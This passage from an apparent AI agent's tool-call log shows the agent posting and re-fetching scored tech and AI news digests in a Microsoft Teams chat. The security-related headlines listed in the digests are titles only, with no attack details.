Oversight](https://news.google.com/rss/articles/CBMikAFBVV95cUxQQm1RWWQwM2d4bE1uUlp2dl9Jei15UFBmNVNGblRySzJJQTRoZ2pkbVcyQnltZW54cWl2WHVsQmZrdE5FMFFzUVpLTkJJajVHY2t6TWJpWGpReTRJemhuTFJKWWhLMzlSbDIwOTJ4bXdRVXRxdUxmOXhrdVNtdkVSLXhfZDNnSTZJd1MwYVpLOE4?oc=5)** \u2014 **28/35** (4+4+4+4+5+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  4. **[Agentjacking attack exploits AI coding tools with fake error reports | brief | SC Media](https://news.google.com/rss/articles/CBMinwFBVV95cUxONjRWb1dJWF9jY24tT0szeW5OcVNhRXB6bnhOMGZRODlPa0xsU256TzlobDVkWm5Wc2dXZ2gzSWIwcUJOcENSV09TallQcjR5TUliRDdXMEd1OWpIWDNHWDNRSHJwNkpWbmZwZ3Jxd0JBZlB0ZjR2eU9KQTNQQVpMWHgzMmEwUEdhak1SYUptNkVYYUpZQ1FSMVpfNWZGUzA?oc=5)** \u2014 **28/35** (3+5+4+5+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  5. **[Infragistics Turns AI Coding Assistants into Enterprise Development Partners with Ignite UI Enterprise MCP Toolchain](https://news.google.com/rss/articles/CBMi7AFBVV95cUxNYXRHYndSWWdEQ1JqZVlyZkc4d2duai1JaE1UdzVJNEQ5b29xZmxlMDBBSWNwSmxpb1VMbXRSMnRGVm4tSHROaEg3bFVwcTU3TlNMUUpRc29xRnVQdGpxVzlrcHctS0EtcGRLeEFZcUpEUkhsZEZ6dC1Vb21DNXBCczNpck42b28tcmZIU3VWY2R6TWFOSXp6Smw4Zkg0U3U2VTJ5NGxzRFVZUTNiWklVbGJfX0hmaGw3Y2hpZV9LS0FMWEhPeUdLeXhsR3BsOTNGdnF4MFVka2RQM29Gd3NDZUI4eXVEcFJ6UTQtWA?oc=5)** \u2014 **28/35** (2+5+4+4+4+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  6. **[Chinese AI models raise \u2018sleeper agent\u2019 fears after report finds more vulnerable code for US users](https://news.google.com/rss/articles/CBMizgFBVV95cUxOZUNjcXlSTG1oWnM2MEVsRXhNNGhLM25Rd2JZcGdhSkJSNlZOMmlEZ1lrTWV2ejVOQ0VIS0tSVTNtRTJwTEJCSDVleVloS1BpSjJMRGtLMUVmeFdqV3Q1bUhkTzl0Z2hYTTFWV2I0d201TldYcHJGOHY3aUF3V0JTR2RxVjZ5eVlZcjJtMnJ6aldCS29VdkV0dWRQM2R3bWdLZEJweFZjUFFwYm5GSFBLTDdvU0Z2UTd1MHZVSEo5ZENIX2VzbXg2R3ptX2NyQQ?oc=5)** \u2014 **27/35** (2+5+4+5+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  7. **[Cybercriminals abused GitHub, YouTube and VirusTotal to push crypto-stealing malware](https://news.google.com/rss/articles/CBMijgFBVV95cUxQNzJ4aUVCUGVVV1d3Vng2emZRZGZrTDZjOXZEVS01YWduNWdVdExaakN6aW80V0RmeURya1ZyckZzWUJWVkVPQWVxT3RiMng1cjZzb0VubzZwMkgyX3Bla0xkeXdtM2hRb3BrLWRNZXNta0VkQ3MySmJXLUVxdm0zSnBuREotNGdjTmkxVkl3?oc=5)** \u2014 **27/35** (2+4+1+5+5+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  8. **[T-Systems, SupplyOn Advance Industrial AI Cloud for Supply Chain Automation](https://news.google.com/rss/articles/CBMiyAFBVV95cUxQRWtfNzM3eEJ1aWhnSlh4Z2w3cXhtMGVJY29VOUdESVVaR2FLZ1IzV1FiaWNvbVhUTGEwLVpJMlNmcHRmVnlkcDFYY2Vqa2Jtb01aRlJIV2Y1N0pqV2dPMXN2Yk4tZk51bzN6SVdZTXhVRDl3Vm9EVGxjRlV3QmF5bTVycEdxM2phZm5TOGlyODRjS1dTMzE5WWNxcExRNjJLbEJJQ21mSm5YdHhzTlJrd2dQT2xGRUtyUHlXYlpxN3ZZZE1CMmtndw?oc=5)** \u2014 **27/35** (2+4+4+5+5+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  9. **[AI Agents Need New Security: Cisco Announces Intent to Acquire WideField Security](https://news.google.com/rss/articles/CBMiiAFBVV95cUxOcHlZWWt3OFFBdVVURHo0RHJteTJ5RHdQUUhXNU5yeVpwVkpYUmpLZ3pPQXdkWHFrU1ROMDg4ZFRIamtmWEgwLVVSQ3I0WG42b1VKcjYteWE0SF9QMW1XYmxTMHFlbUNRUnRrWTVhSXZiQUxFWEJTS0Zzb0ZpRFJUcTVzTzVpdFFn?oc=5)** \u2014 **26/35** (4+5+5+1+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  10. **[Quest Software Acquires Identity Observability Vendor Anetac](https://news.google.com/rss/articles/CBMiowFBVV95cUxNZlF5TW1Tb0ZOWlZDazFWSkVZNWZwZ05ENkNfcEhfemFKYnFqTUpRRlY1ZGJkbW0ycWtRSzdQSE85aWYwQXF5enU3bzlIalpUQjVOZFpHd1UzNlgyR2NBbk1iZHJGWVFfN0ZXaW4tNklEdVJLS0licW9yM1VFZDl6RF9ubnRDUjR0YTVLaXoyYjN3em5RR3ZBcHdiVnJkcktoTnRZ?oc=5)** \u2014 **26/35** (4+4+1+4+4+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104221337?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104221337\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 1/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Ondas to Acquire Cyberhawk, Expanding into Critical Infrastructure Intelligence Through Software, Data and AI](https://news.google.com/rss/articles/CBMingFBVV95cUxNTl8wWnZTbUMybW5iSUdjcWFEdHBiWDFqejNROXdQamc4R1lIc3dQY1o0T0hlU0VIOHNEd3JyanRxWHpGdWtmUTBMQVRZcWxfa2dwdVRpMDFJQ3BWNDlOeDlYQ2NIQmdHVlpCNWoxTGNsOXppRFRwcVJUVWVta3NldHBCZUdSM2tRdkRIaWV6QWVaVmF1a2xzTVFTYWFoQQ?oc=5)** \u2014 **31/35** (4+4+4+4+5+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  2. **[DICT and Google Cloud Partner on Multi-Year AI and Cybersecurity Initiatives to Deliver Next-Generation Citizen Services](https://news.google.com/rss/articles/CBMi_wFBVV95cUxNYUNNRml3LTFTOHJMa3V4eXJwU2hJNVJwQXNQZVhLS05WLVQtYmc2SV91UURaLWVMaTNhZnBUOU5uNHU4NHVZSnhjLWJZU05wb1ZYbi12SWNLUlNoX1hzOFZfYVJlYkJsRTlMaGNPMkFXdVhLMVZEdko2aDIzbEU3Z2NSOWRqWWtRM2doU1N3bXZ0QU5pVEl3UWVsT3N0OG9scGhCZjdkY3pxY25LeTdPbER0Zl9XVU1TNmN4UjBxNXdaNm9YTTBjU0dsWTNjTVRPbWRBM2dfQjdJcnFmVGlja3ZwdHR6UVUySjZtbmk5VVJSYXhtVGUtWEJRczJZTG8?oc=5)** \u2014 **29/35** (3+4+4+4+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  3. **[SDLC Data Governance Critical as AI Systems Outpace Human Oversight](https://news.google.com/rss/articles/CBMikAFBVV95cUxQQm1RWWQwM2d4bE1uUlp2dl9Jei15UFBmNVNGblRySzJJQTRoZ2pkbVcyQnltZW54cWl2WHVsQmZrdE5FMFFzUVpLTkJJajVHY2t6TWJpWGpReTRJemhuTFJKWWhLMzlSbDIwOTJ4bXdRVXRxdUxmOXhrdVNtdkVSLXhfZDNnSTZJd1MwYVpLOE4?oc=5)** \u2014 **28/35** (4+4+4+4+5+2+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  4. **[Agentjacking attack exploits AI coding tools with fake error reports | brief | SC Media](https://news.google.com/rss/articles/CBMinwFBVV95cUxONjRWb1dJWF9jY24tT0szeW5OcVNhRXB6bnhOMGZRODlPa0xsU256TzlobDVkWm5Wc2dXZ2gzSWIwcUJOcENSV09TallQcjR5TUliRDdXMEd1OWpIWDNHWDNRSHJwNkpWbmZwZ3Jxd0JBZlB0ZjR2eU9KQTNQQVpMWHgzMmEwUEdhak1SYUptNkVYYUpZQ1FSMVpfNWZGUzA?oc=5)** \u2014 **28/35** (3+5+4+5+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  5. **[Infragistics Turns AI Coding Assistants into Enterprise Development Partners with Ignite UI Enterprise MCP Toolchain](https://news.google.com/rss/articles/CBMi7AFBVV95cUxNYXRHYndSWWdEQ1JqZVlyZkc4d2duai1JaE1UdzVJNEQ5b29xZmxlMDBBSWNwSmxpb1VMbXRSMnRGVm4tSHROaEg3bFVwcTU3TlNMUUpRc29xRnVQdGpxVzlrcHctS0EtcGRLeEFZcUpEUkhsZEZ6dC1Vb21DNXBCczNpck42b28tcmZIU3VWY2R6TWFOSXp6Smw4Zkg0U3U2VTJ5NGxzRFVZUTNiWklVbGJfX0hmaGw3Y2hpZV9LS0FMWEhPeUdLeXhsR3BsOTNGdnF4MFVka2RQM29Gd3NDZUI4eXVEcFJ6UTQtWA?oc=5)** \u2014 **28/35** (2+5+4+4+4+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  6. **[Chinese AI models raise \u2018sleeper agent\u2019 fears after report finds more vulnerable code for US users](https://news.google.com/rss/articles/CBMizgFBVV95cUxOZUNjcXlSTG1oWnM2MEVsRXhNNGhLM25Rd2JZcGdhSkJSNlZOMmlEZ1lrTWV2ejVOQ0VIS0tSVTNtRTJwTEJCSDVleVloS1BpSjJMRGtLMUVmeFdqV3Q1bUhkTzl0Z2hYTTFWV2I0d201TldYcHJGOHY3aUF3V0JTR2RxVjZ5eVlZcjJtMnJ6aldCS29VdkV0dWRQM2R3bWdLZEJweFZjUFFwYm5GSFBLTDdvU0Z2UTd1MHZVSEo5ZENIX2VzbXg2R3ptX2NyQQ?oc=5)** \u2014 **27/35** (2+5+4+5+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  7. **[Cybercriminals abused GitHub, YouTube and VirusTotal to push crypto-stealing malware](https://news.google.com/rss/articles/CBMijgFBVV95cUxQNzJ4aUVCUGVVV1d3Vng2emZRZGZrTDZjOXZEVS01YWduNWdVdExaakN6aW80V0RmeURya1ZyckZzWUJWVkVPQWVxT3RiMng1cjZzb0VubzZwMkgyX3Bla0xkeXdtM2hRb3BrLWRNZXNta0VkQ3MySmJXLUVxdm0zSnBuREotNGdjTmkxVkl3?oc=5)** \u2014 **27/35** (2+4+1+5+5+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  8. **[T-Systems, SupplyOn Advance Industrial AI Cloud for Supply Chain Automation](https://news.google.com/rss/articles/CBMiyAFBVV95cUxQRWtfNzM3eEJ1aWhnSlh4Z2w3cXhtMGVJY29VOUdESVVaR2FLZ1IzV1FiaWNvbVhUTGEwLVpJMlNmcHRmVnlkcDFYY2Vqa2Jtb01aRlJIV2Y1N0pqV2dPMXN2Yk4tZk51bzN6SVdZTXhVRDl3Vm9EVGxjRlV3QmF5bTVycEdxM2phZm5TOGlyODRjS1dTMzE5WWNxcExRNjJLbEJJQ21mSm5YdHhzTlJrd2dQT2xGRUtyUHlXYlpxN3ZZZE1CMmtndw?oc=5)** \u2014 **27/35** (2+4+4+5+5+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  9. **[AI Agents Need New Security: Cisco Announces Intent to Acquire WideField Security](https://news.google.com/rss/articles/CBMiiAFBVV95cUxOcHlZWWt3OFFBdVVURHo0RHJteTJ5RHdQUUhXNU5yeVpwVkpYUmpLZ3pPQXdkWHFrU1ROMDg4ZFRIamtmWEgwLVVSQ3I0WG42b1VKcjYteWE0SF9QMW1XYmxTMHFlbUNRUnRrWTVhSXZiQUxFWEJTS0Zzb0ZpRFJUcTVzTzVpdFFn?oc=5)** \u2014 **26/35** (4+5+5+1+4+2+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  10. **[Quest Software Acquires Identity Observability Vendor Anetac](https://news.google.com/rss/articles/CBMiowFBVV95cUxNZlF5TW1Tb0ZOWlZDazFWSkVZNWZwZ05ENkNfcEhfemFKYnFqTUpRRlY1ZGJkbW0ycWtRSzdQSE85aWYwQXF5enU3bzlIalpUQjVOZFpHd1UzNlgyR2NBbk1iZHJGWVFfN0ZXaW4tNklEdVJLS0licW9yM1VFZDl6RF9ubnRDUjR0YTVLaXoyYjN3em5RR3ZBcHdiVnJkcktoTnRZ?oc=5)** \u2014 **26/35** (4+4+1+4+4+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104221337?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:01.337Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104221337?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.send_chat_message\n>\n> ```json\n> {\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"html_content\": \"\nChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 2/10\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker News, official-source and technology-publication sweep. Excluded all previously posted ChatReview events plus earlier items in this 10-run batch.\nScores show: Industry; engineering-leader relevance; AI/ML; developer-tool/cloud/workflow; security/privacy/infrastructure; major-company adoption; novelty. Each is 1\u20135.\n\n\nSingapore Updates Model AI Governance Framework for Agentic AI \u2014 26/35 (4+2+5+5+1+4+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nVietnam's developers are moving from outsourcing to AI building \u2014 26/35 (4+4+4+4+1+4+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nGitHub Retires Its Free AI Model Playground \u2014 What Developers Need to Know \u2014 26/35 (2+4+4+5+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nRust Clipboard Hijacker Uses Fake GitHub Stars and VirusTotal Upvotes to Steal Crypto \u2014 26/35 (2+4+1+5+4+5+5)Security update with implications for patching, dependency trust, credentials, privacy, resilience or incident response.\n\nCloudflare Acquires VoidZero to Enhance Developer Platform \u2014 25/35 (4+5+1+4+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nGlobal tech leaders call for inclusive \u201cSovereign AI\u201d framework to bridge digital divide \u2014 25/35 (4+2+4+5+1+4+5)Policy or governance update that could influence AI access, enterprise risk, technical standards or regional infrastructure decisions.\n\nVeeam and HPE Expand Partnership to Accelerate AI-Ready Private Cloud Adoption \u2014 25/35 (3+4+4+4+1+4+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nGoogle Cloud Spec Brings Order to the Chaos Surrounding AI Context \u2014 25/35 (2+4+4+4+1+5+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nNew AI optimization framework beats Claude Code and Codex by 2.5x on the same compute budget \u2014 25/35 (2+5+5+5+1+2+5)Developer, cloud or infrastructure update that may affect coding, CI/CD, architecture, capacity, maintainability or operations.\n\nPublicis Sapient's 2026 enterprise AI report finds wide adoption but only 10% say it's core to operations \u2014 25/35 (2+4+4+5+1+4+5)AI/agent update with implications for model strategy, automation, governance, enterprise adoption or software-engineering workflows.\nTies are ordered by industry impact, then engineering-leader relevance.\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"message_id\": \"1782104222995\",\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104222995\",\n>   \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104222995?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"title\": \"Jenish Dholakiya\",\n>   \"created_at\": \"2026-06-22T04:57:02.995Z\",\n>   \"author_name\": \"Jenish Dholakiya\",\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 2/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Singapore Updates Model AI Governance Framework for Agentic AI](https://news.google.com/rss/articles/CBMiqwFBVV95cUxPTW1JWVFJNXhXb1kxX1lFTVB1enF5dlR3a25mMDM3dlZsVzNGLU1QRlpZbmdGRzA1S1RSRWJ1Q09jTjJzRDdERU1aVFluck1XOVRvcUI0XzRiZVlyRmFTM3Njd3dOeTJxdHRtV1RueDFGQzlJaUVscmJ4VnJDckNPMk5TQnV5WTF5bXBvMC0wN2ZNc3FJYzJwOG9Kem1qTEEySnBFdnZ0V0pQV1E?oc=5)** \u2014 **26/35** (4+2+5+5+1+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  2. **[Vietnam's developers are moving from outsourcing to AI building](https://news.google.com/rss/articles/CBMinwFBVV95cUxNWXpYQjNDR292Qi1ScWRuYURicHFFTzBZeW5vMkh3RUR1ejloZ1phQlVjRzZxVEFEdjJERnhyMnpJQnl4YVN0QTliUHJmMnVpZDM3MGx3OE1CWk0xVGlJSkFLNFdTSlFnN3FMTm1IWTBCcDctTnRtMVctZkh2Z2tweVpNV0s5dVZnSEZtNnU0Tkt5U3FoNXlMZ2w2SjU0bG8?oc=5)** \u2014 **26/35** (4+4+4+4+1+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  3. **[GitHub Retires Its Free AI Model Playground \u2014 What Developers Need to Know](https://news.google.com/rss/articles/CBMilwFBVV95cUxOY0NBZ19RdzBfcTluTmwwZ3ZUaFQ3ME5VXzM1MklIYV9SeEI1VVItRVlQZllUY1V0Tmd4SWQ4UVE2TmRFRmNzVGZibm1WRkZMRi1oYjZtWlN4RVpwSlUwX3RFcXhJQi04TWhCTzl2QTlJcWhWNGY5dGk5Sk91bHZYTm9HemVPUDNPdWRMQ3FQOVBVU2ZGZTNV?oc=5)** \u2014 **26/35** (2+4+4+5+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  4. **[Rust Clipboard Hijacker Uses Fake GitHub Stars and VirusTotal Upvotes to Steal Crypto](https://news.google.com/rss/articles/CBMigwFBVV95cUxNY01mX1lBY3Z4NjRiUGNycHcxWm9lX0JaRTdQLXJySVVuRVg4ZkNOZlBGa0gxcEFnaEIybWdfN3JIbDF4cks0bUtacWs4Y2Z3TUJ3Tk1hTlE0LWEwbEx3NmhwSXc5R2U2Z1N1UHlQTmsyNEFDMDRTV2xEdTVWWFQ0eEF6a9IBiAFBVV95cUxPbDJIcWtnMGloS0FocjhJZk5yRklPRll4RW1aYURjeWhzOUJxLWhVcHJiSlpzTDNoa2poQ2ZQU1VtTjJ0Z2MyRnpOWHBqeld6dWNzeVNReGd5bUlrbUdNandZcjZMS0hrM09SbEdsUlBTaG85TFA1LUxVclBfcmxHcDNEWm04SkEw?oc=5)** \u2014 **26/35** (2+4+1+5+4+5+5)  \\nSecurity update with implications for patching, dependency trust, credentials,\\nprivacy, resilience or incident response.\\n\\n  5. **[Cloudflare Acquires VoidZero to Enhance Developer Platform](https://news.google.com/rss/articles/CBMiggFBVV95cUxNc3RWSjJfNXo1Y0JaRUtuRk5XSUh3V29CLUpEb3g5emNXem03QTNmWm9ZOW1qbHlpSklUNUdtX2xRUmI2VllMT3lBdVZUeE5WOVpITUxHdnZnaGpVWHJXdW5UZF9JMmJ4RGRoWFNramxKZE5fMHAwSWl0UGY0ajZtR2Nn?oc=5)** \u2014 **25/35** (4+5+1+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  6. **[Global tech leaders call for inclusive \u201cSovereign AI\u201d framework to bridge digital divide](https://news.google.com/rss/articles/CBMiwwFBVV95cUxOUjNNTnQtNzJFOUJXWVJhTWQwT3ZaQUEtMkhSckUyQ1cwQzFGZ1Fjb0JrTU9IR3pEemxabklVTkdmSkJSaVdXZjRqVmpZZVowcS1WMHhZOEJ5WWRtU2ZSSC1FYkNIaGVMRWlidGVMcUpTNmk2VFBDdFVjaDRtRjFfby1HSzdUMHgxa0c4VkFhNDhTYmFKOWNBY1JVTExaN2VRd0pTbWNSajlqMHFRRE1HcTBWQjRCZllEV1p5OVpscVZQZVk?oc=5)** \u2014 **25/35** (4+2+4+5+1+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  7. **[Veeam and HPE Expand Partnership to Accelerate AI-Ready Private Cloud Adoption](https://news.google.com/rss/articles/CBMiuAFBVV95cUxQdk1LVmFMeXU5WVFCeDlibWtycTZmdlV1TE1OTXl5VFJyY25YZENNWTd0X1hjWEhta0wzTGhDellIYldrN3FmYUJNYUJuSzRYUFJhNm51LTl6SDYtWWUxRHJlV1FrbFVWYVJEeUNGaDFnMTJlNVhjSENLa2Ntc01WY0hWbjV1ZFMxZ3Z2cU4xaGsySkF0LXhHc1JyWlNlcW51SDdoWkpPRXVxUXNwVHVCYjFuRkVrTXF2?oc=5)** \u2014 **25/35** (3+4+4+4+1+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  8. **[Google Cloud Spec Brings Order to the Chaos Surrounding AI Context](https://news.google.com/rss/articles/CBMilwFBVV95cUxQYlJ6V1VEY3l6YzBNQTdlSVFXY2c5RFEzNUJzQktYclR2MHR0dmtBYjJzN084UFVHUlBBRkFpNHk0NG9sdlo2akUxQUtudENKSFhtRUtPSEVVeEQyZThKTm04RHc1LTNLZndNTW0yX19waHRRMndsODhsekZpaF9VTG5nbVBKMGZERjhaMm1YaE5tM3hpaW9N?oc=5)** \u2014 **25/35** (2+4+4+4+1+5+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  9. **[New AI optimization framework beats Claude Code and Codex by 2.5x on the same compute budget](https://news.google.com/rss/articles/CBMiygFBVV95cUxOaWVIREg5UjNuVFhzWUYzbm5CWDROdGUtYk50YnI4TVIzR1RQcFN4MGVTY29BSlJRY1Bhbjc5ZW5OR3NPV3M5Q1FkRVhrZmFuaWRBdmlPY3RWbzdjSTJZUDZ1dzdHa2RCTEZaVzdpSWxicVNONUpGMnZkOU13UnFHcDZHd1VqWDh1VUtxR0hJcUVON1l1NVB4OThIaG94UmEtV2ZUSjFkdUJEai0wUFBBY2tsN0RSUGpZWmFMdkdLUWIwb0hIemEyTlRB?oc=5)** \u2014 **25/35** (2+5+5+5+1+2+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  10. **[Publicis Sapient's 2026 enterprise AI report finds wide adoption but only 10% say it's core to operations](https://news.google.com/rss/articles/CBMi-AFBVV95cUxPVkFnQ0xVTnBDdzI5bkt1TUdjMFkxS3NDcDRLeHMyMEtkWmJMTUx0ODJRZXVxZ29DU3FPWWkwX1FPdnltUll3UndRSFlBRGRuMVgyaGlzN2ljSkV4MXZfcksxRzBMTk42Z2xVLTF3Y1lYM2lSNS15d2t5dzdqYmtnZEE5N0FLUFNxbFhCQXloRWp4bGF4NFh4OS1CRkZJQXFwdzV6QkdzTldNUTUxVWh2dW00eEEyV0xtN2MzbjhDQmUySHpjMjRsdENyUHhwS0t2ck0xdmVnbTVocm16M3o1Z0pROUdHTVA5anQtSlliN2JERHYwNVdFaA?oc=5)** \u2014 **25/35** (2+4+4+5+1+4+5)  \\nAI/agent update with implications for model strategy, automation, governance,\\nenterprise adoption or software-engineering workflows.\\n\\n_Ties are ordered by industry impact, then engineering-leader relevance._\\n\\n\",\n>   \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>   \"team_id\": null,\n>   \"channel_id\": null,\n>   \"parent_message_id\": null,\n>   \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1782104222995?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>   \"display_title\": \"Jenish Dholakiya\"\n> }\n> ```\n>\n> MCP tool call\n>\n> codex_apps.microsoft_teams.fetch\n>\n> ```json\n> {\n>   \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1782104222995\"\n> }\n> ```\n>\n> ```text\n> Action completed.\n> ```\n>\n> ```json\n> {\n>   \"content\": \"Jenish Dholakiya said:## ChatReview Tech / IT / AI News \u2014 June 22, 2026 \u2014 Additional Run 2/10\\n\\nReviewed a 50\u2013100 article segment from a 662-item June 18\u201322 feed/RSS, Hacker\\nNews, official-source and technology-publication sweep. Excluded all\\npreviously posted ChatReview events plus earlier items in this 10-run batch.\\n\\n**Scores show: Industry; engineering-leader relevance; AI/ML; developer-\\ntool/cloud/workflow; security/privacy/infrastructure; major-company adoption;\\nnovelty. Each is 1\u20135.**\\n\\n  1. **[Singapore Updates Model AI Governance Framework for Agentic AI](https://news.google.com/rss/articles/CBMiqwFBVV95cUxPTW1JWVFJNXhXb1kxX1lFTVB1enF5dlR3a25mMDM3dlZsVzNGLU1QRlpZbmdGRzA1S1RSRWJ1Q09jTjJzRDdERU1aVFluck1XOVRvcUI0XzRiZVlyRmFTM3Njd3dOeTJxdHRtV1RueDFGQzlJaUVscmJ4VnJDckNPMk5TQnV5WTF5bXBvMC0wN2ZNc3FJYzJwOG9Kem1qTEEySnBFdnZ0V0pQV1E?oc=5)** \u2014 **26/35** (4+2+5+5+1+4+5)  \\nPolicy or governance update that could influence AI access, enterprise risk,\\ntechnical standards or regional infrastructure decisions.\\n\\n  2. **[Vietnam's developers are moving from outsourcing to AI building](https://news.google.com/rss/articles/CBMinwFBVV95cUxNWXpYQjNDR292Qi1ScWRuYURicHFFTzBZeW5vMkh3RUR1ejloZ1phQlVjRzZxVEFEdjJERnhyMnpJQnl4YVN0QTliUHJmMnVpZDM3MGx3OE1CWk0xVGlJSkFLNFdTSlFnN3FMTm1IWTBCcDctTnRtMVctZkh2Z2tweVpNV0s5dVZnSEZtNnU0Tkt5U3FoNXlMZ2w2SjU0bG8?oc=5)** \u2014 **26/35** (4+4+4+4+1+4+5)  \\nDeveloper, cloud or infrastructure update that may affect coding, CI/CD,\\narchitecture, capacity, maintainability or operations.\\n\\n  3. **[GitHub Retires Its Free AI Model Playground \u2014 What Developers Need to 